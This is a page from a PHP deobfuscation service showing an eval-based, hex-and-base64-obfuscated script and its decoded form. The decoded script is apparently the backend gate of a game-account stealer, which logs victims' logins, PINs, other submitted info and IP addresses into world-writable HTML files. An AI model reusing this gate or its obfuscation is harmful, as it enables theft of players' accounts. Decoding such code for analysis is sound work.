Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function convertHex2bin($hex) { return pack("H*", $hex); } @$data = convertHe..
Decoded Output download
$login = $_GET['log']; //
$ip = $_GET['srvr']; //ip c
$server = $_GET['servname']; //
$skin = $_GET['skin']; //
$score = $_GET['score']; //
$money = $_GET['money']; //
$userIp = $_SERVER["REMOTE_ADDR"]; //ip
$time = date("H:i:s-d.m.y");//
$userid = $_GET['stuid'];
function getlog($date, $log, $srvr, $servname, $did, $inf, $userip, $skin, $score, $money)
{
if ($did == "PIN")
{
$res = $date." | Login: <span style='color: darkgreen;'>".$log."</span> [skin: <span style='color: darkgreen;'>".$skin."</span>, lvl: <span style='color: darkgreen;'>".$score."</span>, money: <span style='color: darkgreen;'>$".$money."</span>] | Server: <a href='samp://".$srvr."'>".$srvr."</a> [<span style='color: darkgreen;'>".$servname."</span>] | Info[<span style='color: red;'>PIN</span>]: <span style='color: darkgreen;'>".$inf."</span> | User-IP: <span style='color: #180000;'>".$userip."</span><br/>
";
} else {
$res = $date." | Login: <span style='color: darkgreen;'>".$log."</span> [skin: <span style='color: darkgreen;'>".$skin."</span>, lvl: <span style='color: darkgreen;'>".$score."</span>, money: <span style='color: darkgreen;'>$".$money."</span>] | Server: <a href='samp://".$srvr."'>".$srvr."</a> [<span style='color: darkgreen;'>".$servname."</span>] | Info[id: <span style='color: darkgreen;'>".$did."</span>]: <span style='color: darkgreen;'>".$inf."</span> | User-IP: <span style='color: #180000;'>".$userip."</span><br/>
";
}
return $res;
}
if (!empty($_GET['pin']))
{
$stext = (int)$_GET['pin'];
$did = "PIN";
}
else
{
$did = $_GET['did'];
$stext = $_GET['inf'];
}
function writeLog($filter, $baseid, $time, $login, $ip, $server, $did, $stext, $userIp, $skin, $score, $money)
{
$filename = "cleo/".$baseid.$filter.".html";
$f = fopen($filename, "a");
$s = getlog($time, $login, $ip, $server, $did, $stext, $userIp, $skin, $score, $money);
chmod($filename, 0777);
fwrite($f, $s);
fclose($f);
}
function get_logs_size($filter, $baseid)
{
$fname = "cleo/".$baseid.$filter.".html";
if (file_exists($fname)) return filesize($fname);
return 0;
}
if (!empty($stext) && !empty($login) && !empty($ip) && !empty($server) && !empty($did) && !empty($userid))
{
include 'safemysql.php'; //
$db = new SafeMySQL();
include "exfilter_sizefunc.php";
$smeshlogssize = 0;
$filters = getCommonSize();
if (strlen($filters) <= 1) { $smeshlogssize = get_logs_size(""); } else {
$filarr = explode("|", $filters);
for ($i = 0; $i < count($filters); $i++)
{
$smeshlogssize += get_logs_size($filarr[$i]);
}
}
include "exfilter_gate.php";
$maxsize = 30000000;
$message = '';
if ($smeshlogssize >= $maxsize)
{
} else {
$blockip = $db->getRow("SELECT blacklist FROM base_cs WHERE id = ?s", $userid); // .
if(!$blockip['blacklist'] == "") {
if(in_array(";", $blockip)) {
$blockip = explode(";", $blockip);
}
if(!in_array($userIp, $blockip)) {
if ($userid != 2)
{
$db->query("UPDATE `base_cs` SET logs=logs + 1 WHERE id=?i",$userid);
$resstr = processData($ip);
if (strlen($resstr) <= 1) { writeLog("", $userid, $ip, $server, $did, $stext, $userIp, $skin, $score, $money); } else {
$resarr = explode("|", $resstr);
for ($i = 0; $i < count($filters); $i++)
{
writeLog($resarr[$i], $userid, $ip, $server, $did, $stext, $userIp, $skin, $score, $money);
}
}
}
}
} else {
if ($userid != 2)
{
$db->query("UPDATE `base_cs` SET logs=logs + 1 WHERE id=?i",$userid);
$resstr = processData($ip);
if (strlen($resstr) <= 1) { writeLog("", $userid, $ip, $server, $did, $stext, $userIp, $skin, $score, $money); } else {
$resarr = explode("|", $resstr);
for ($i = 0; $i < count($filters); $i++)
{
writeLog($resarr[$i], $userid, $ip, $server, $did, $stext, $userIp, $skin, $score, $money);
}
}
}
}
}
}
Did this file decode correctly?
Original Code
<?php
function convertHex2bin($hex) {
return pack("H*", $hex);
}
@$data = convertHex2bin("6576616C286261736536345F6465636F646528224A4778765A326C75494430674A463948525652624A3278765A7964644F7941764C394337304C375173394334304C304E436952706343413949435266523056555779647A636E5A794A3130370D0A4943387661584167593943313059445173744331305944517341304B4A484E6C636E5A6C6369413949435266523056555779647A5A584A32626D46745A5364644F7941764C394742304C58520D0A674E4379304C58526741304B4A484E72615734675053416B583064465646736E63327470626964644F7941764C394334304C51673059485175744334304C33517341304B4A484E6A62334A6C0D0A494430674A463948525652624A334E6A62334A6C4A3130374943387630595052674E432B304C4C51746443393059774E436952746232356C655341394943526652305655577964746232356C0D0A655364644F7941764C394339304C445175394334305966517574437744516F6B64584E6C636B6C77494430674A46395452564A5752564A62496C4A46545539555256394252455253496C30370D0A494338766158414E436952306157316C494430675A4746305A536769534470704F6E4D745A4335744C6E6B694B5473764C39437930594451746443383059384E4369523163325679615751670D0A5053416B583064465646736E633352316157516E5854734E4367304B5A6E567559335270623234675A3256306247396E4B43526B5958526C4C43416B6247396E4C43416B63334A32636977670D0A4A484E6C636E5A755957316C4C43416B5A476C6B4C43416B6157356D4C43416B64584E6C636D6C774C43416B63327470626977674A484E6A62334A6C4C43416B625739755A586B70445170370D0A44516F67615759674B43526B6157516750543067496C424A5469497044516F4A4943423744516F4A4943416B636D567A494430674A4752686447557549694238494578765A326C754F6941380D0A633342686269427A64486C735A54306E593239736233493649475268636D746E636D566C626A736E506949754A4778765A7934695043397A634746755069426263327470626A6F6750484E770D0A5957346763335235624755394A324E76624739794F69426B59584A725A334A6C5A5734374A7A34694C69527A61326C754C6949384C334E775957342B4C434273646D77364944787A634746750D0A49484E306557786C5053646A62327876636A6F675A474679613264795A5756754F79632B4969346B63324E76636D5575496A777663334268626A347349473176626D56354F694138633342680D0A6269427A64486C735A54306E593239736233493649475268636D746E636D566C626A736E506951694C6952746232356C655334695043397A63474675506C3067664342545A584A325A5849360D0A49447868494768795A5759394A334E68625841364C7938694C69527A636E5A794C69496E506949754A484E79646E4975496A777659543467577A787A6347467549484E306557786C5053646A0D0A62327876636A6F675A474679613264795A5756754F79632B4969346B63325679646D356862575575496A777663334268626A3564494877675357356D62317338633342686269427A64486C730D0A5A54306E593239736233493649484A6C5A44736E506C424A546A777663334268626A35644F694138633342686269427A64486C735A54306E593239736233493649475268636D746E636D566C0D0A626A736E506949754A476C755A6934695043397A63474675506942384946567A5A584974535641364944787A6347467549484E306557786C5053646A62327876636A6F67497A45344D4441770D0A4D44736E506949754A48567A5A584A70634334695043397A63474675506A78696369382B58484A636269493744516F67494341674943423949475673633255676577304B435341674A484A6C0D0A637941394943526B5958526C4C6949676643424D62326470626A6F6750484E775957346763335235624755394A324E76624739794F69426B59584A725A334A6C5A5734374A7A34694C6952730D0A62326375496A777663334268626A346757334E72615734364944787A6347467549484E306557786C5053646A62327876636A6F675A474679613264795A5756754F79632B4969346B633274700D0A626934695043397A634746755069776762485A734F694138633342686269427A64486C735A54306E593239736233493649475268636D746E636D566C626A736E506949754A484E6A62334A6C0D0A4C6949384C334E775957342B4C4342746232356C65546F6750484E775957346763335235624755394A324E76624739794F69426B59584A725A334A6C5A5734374A7A346B4969346B625739750D0A5A586B75496A777663334268626A35644948776755325679646D56794F6941385953426F636D566D5053647A595731774F6938764969346B63334A32636934694A7A34694C69527A636E5A790D0A4C6949384C32452B49467338633342686269427A64486C735A54306E593239736233493649475268636D746E636D566C626A736E506949754A484E6C636E5A755957316C4C6949384C334E770D0A5957342B5853423849456C755A6D3962615751364944787A6347467549484E306557786C5053646A62327876636A6F675A474679613264795A5756754F79632B4969346B5A476C6B4C6949380D0A4C334E775957342B58546F6750484E775957346763335235624755394A324E76624739794F69426B59584A725A334A6C5A5734374A7A34694C695270626D5975496A777663334268626A34670D0A66434256633256794C556C514F694138633342686269427A64486C735A54306E593239736233493649434D784F4441774D4441374A7A34694C6952316332567961584175496A7776633342680D0A626A3438596E4976506C7879584734694F77304B494341674943416766516B4E43676B6749484A6C644856796269416B636D567A4F77304B6651304B445170705A69416F49575674634852350D0A4B43526652305655577964776157346E58536B704451703744516F6B6333526C654851675053416F615735304B53526652305655577964776157346E5854734E4369526B61575167505341690D0A55456C4F496A734E436E304E436D56736332554E436E734E4369526B615751675053416B583064465646736E5A476C6B4A31303744516F6B6333526C654851675053416B583064465646736E0D0A6157356D4A3130374451703944516F4E436D5A31626D4E3061573975494864796158526C5447396E4B43526D615778305A5849734943526959584E6C61575173494352306157316C4C43416B0D0A6247396E6157347349435270634377674A484E6C636E5A6C636977674A4752705A4377674A484E305A5868304C43416B64584E6C636B6C774C43416B63327470626977674A484E6A62334A6C0D0A4C43416B625739755A586B704451703744516F67494341674A475A70624756755957316C49443067496D4E735A5738764969346B596D467A5A576C6B4C69526D615778305A5849754969356F0D0A64473173496A734E43676B6B5A69413949475A76634756754B43526D6157786C626D46745A537767496D45694B54734E436941674943416B637941394947646C644778765A79676B64476C740D0A5A5377674A4778765A326C754C43416B615841734943527A5A584A325A5849734943526B615751734943527A64475634644377674A48567A5A584A4A634377674A484E72615734734943527A0D0A593239795A5377674A473176626D56354B54734E436941674943426A614731765A43676B5A6D6C735A57356862575573494441334E7A63704F77304B4943416749475A33636D6C305A53676B0D0A5A6977674A484D704F77304B4943416749475A6A6247397A5A53676B5A696B374451703944516F4E436D5A31626D4E30615739754947646C644639736232647A58334E70656D556F4A475A700D0A6248526C636977674A474A68633256705A436B4E436E734E4369526D626D46745A53413949434A6A624756764C7949754A474A68633256705A43346B5A6D6C73644756794C694975614852740D0A62434937445170705A69416F5A6D6C735A56396C65476C7A64484D6F4A475A755957316C4B536B67636D563064584A7549475A706247567A6158706C4B43526D626D46745A536B37445170790D0A5A585231636D34674D44734E436E304E4367304B615759674B43466C625842306553676B6333526C654851704943596D4943466C625842306553676B6247396E615734704943596D4943466C0D0A625842306553676B615841704943596D4943466C625842306553676B63325679646D56794B53416D4A6941685A57317764486B6F4A4752705A436B674A69596749575674634852354B4352310D0A63325679615751704B51304B6577304B43516C70626D4E736457526C4943647A59575A6C62586C7A63577775634768774A7A73674C793867304A2F5176744330304C72517539474F305966510D0A734E4331304C7767304C4851754E4378304C7651754E432B30594C517464433630594D67304C545175394750494E4741304C44517364432B30594C52697944526753445173644377304C66510D0A76744335494E4330304C445176644339305976526851304B43516B6B5A474967505342755A5863675532466D5A5531355531464D4B436B3743516B4E43676B6744516F4A6157356A6248566B0D0A5A5341695A58686D615778305A584A6663326C365A575A31626D4D7563476877496A734E43676B674A484E745A584E6F6247396E63334E70656D5567505341774F77304B4353416B5A6D6C730D0A64475679637941394947646C64454E7662573176626C4E70656D556F4B54734E43676B67615759674B484E30636D786C6269676B5A6D6C736447567963796B67504430674D536B676579416B0D0A6332316C633268736232647A63326C365A5341394947646C644639736232647A58334E70656D556F496949704F79423949475673633255676577304B43516B674A475A7062474679636941390D0A49475634634778765A47556F496E77694C43416B5A6D6C736447567963796B3744516F4A4353426D623349674B435270494430674D4473674A476B675043426A623356756443676B5A6D6C730D0A6447567963796B37494352704B79737044516F4A4353423744516F4A43516B6B6332316C633268736232647A63326C365A5341725053426E5A5852666247396E6331397A6158706C4B43526D0D0A61577868636E4A624A476C644B54734E43676B4A4948304E43676B676651304B43576C75593278315A475567496D56345A6D6C7364475679583264686447557563476877496A734E43676B670D0A4A47316865484E70656D55675053417A4D4441774D4441774D44734E43676B674A47316C63334E685A3255675053416E4A7A734E4369416749434167615759674B43527A6257567A614778760D0A5A334E7A6158706C49443439494352745958687A6158706C4B51304B4353423744516F4A494830675A57787A5A53423744516F4A435352696247396A61326C77494430674A4752694C54356E0D0A5A5852536233636F496C4E4654455644564342696247466A6132787063335167526C4A505453426959584E6C58324E7A4946644952564A4649476C6B4944306750334D694C43416B64584E6C0D0A636D6C6B4B5473674C793867304C4C5269394378304C6A52674E4377304C5851764344526753445267744331304C72526739474A304C5851755344516B644355494E4748304C5852674E43390D0A30597651755344526764432F304C6A526764432B304C6F67304C44517564432F304C677544516F4E43676B4A6157596F495352696247396A61326C77577964696247466A613278706333516E0D0A585341395053416949696B676577304B43516B4A6157596F6157356659584A7959586B6F496A73694C43416B596D78765932747063436B704948734E43676B4A43516B6B596D7876593274700D0A6343413949475634634778765A47556F496A73694C43416B596D78765932747063436B3744516F4A43516C3944516F4A43516C705A6967686157356659584A7959586B6F4A48567A5A584A4A0D0A634377674A474A7362324E72615841704B53423744516F4A43516C705A69416F4A48567A5A584A705A434168505341794B51304B43516C3744516F4A43516B4A4A4752694C543578645756790D0A6553676956564245515652464947426959584E6C58324E7A59434254525651676247396E637A31736232647A494373674D53425853455653525342705A44302F615349734A48567A5A584A700D0A5A436B3744516F4A43516B4A4A484A6C63334E30636941394948427962324E6C63334E45595852684B43527063436B3744516F4A43516B4A615759674B484E30636D786C6269676B636D567A0D0A633352794B534138505341784B534237494864796158526C5447396E4B4349694C43416B64584E6C636D6C6B4C43416B615841734943527A5A584A325A5849734943526B615751734943527A0D0A64475634644377674A48567A5A584A4A634377674A484E72615734734943527A593239795A5377674A473176626D56354B5473676653426C62484E6C4948734E43676B4A43516B4A4A484A6C0D0A633246796369413949475634634778765A47556F496E77694C43416B636D567A633352794B54734E43676B4A43516B4A5A6D39794943676B61534139494441374943527049447767593239310D0A626E516F4A475A706248526C636E4D704F79416B615373724B51304B43516B4A43516C3744516F4A43516B4A43516C33636D6C305A5578765A79676B636D567A59584A7957795270585377670D0A4A48567A5A584A705A4377674A476C774C43416B63325679646D56794C43416B5A476C6B4C43416B6333526C654851734943523163325679535841734943527A61326C754C43416B63324E760D0A636D5573494352746232356C65536B3744516F4A43516B4A4358304E43676B4A43516C3944516F4A43516C3944516F4A4358306744516F4A435830675A57787A5A53423744516F4A43516C700D0A5A69416F4A48567A5A584A705A434168505341794B51304B43516C3744516F4A43516B6B5A474974506E46315A584A354B434A56554552425645556759474A686332566659334E6749464E460D0A564342736232647A505778765A334D674B7941784946644952564A4649476C6B505439704969776B64584E6C636D6C6B4B54734E43676B4A435352795A584E7A6448496750534277636D396A0D0A5A584E7A524746305953676B615841704F77304B43516B4A43576C6D4943687A64484A735A57346F4A484A6C63334E3063696B67504430674D536B6765794233636D6C305A5578765A7967690D0A496977674A48567A5A584A705A4377674A476C774C43416B63325679646D56794C43416B5A476C6B4C43416B6333526C654851734943523163325679535841734943527A61326C754C43416B0D0A63324E76636D5573494352746232356C65536B37494830675A57787A5A53423744516F4A43516B4A435352795A584E68636E49675053426C654842736232526C4B434A38496977674A484A6C0D0A63334E3063696B3744516F4A43516B4A43575A766369416F4A476B67505341774F79416B6153413849474E76645735304B43526D615778305A584A7A4B5473674A476B724B796B4E43676B4A0D0A43516B4A6577304B43516B4A43516B4A64334A706447564D6232636F4A484A6C63324679636C736B6156307349435231633256796157517349435270634377674A484E6C636E5A6C636977670D0A4A4752705A4377674A484E305A5868304C43416B64584E6C636B6C774C43416B63327470626977674A484E6A62334A6C4C43416B625739755A586B704F77304B43516B4A43516C3944516F4A0D0A43516B4A6651304B43516B4A6651304B43516C394941304B4358304E436E303D2229293B");
eval($data);
?>
Function Calls
| pack | 1 |
| base64_decode | 2 |
| convertHex2bin | 1 |
Stats
| MD5 | 44b2bcb7f7561644b15eff2c07356d08 |
| Eval Count | 4 |
| Decode Time | 90 ms |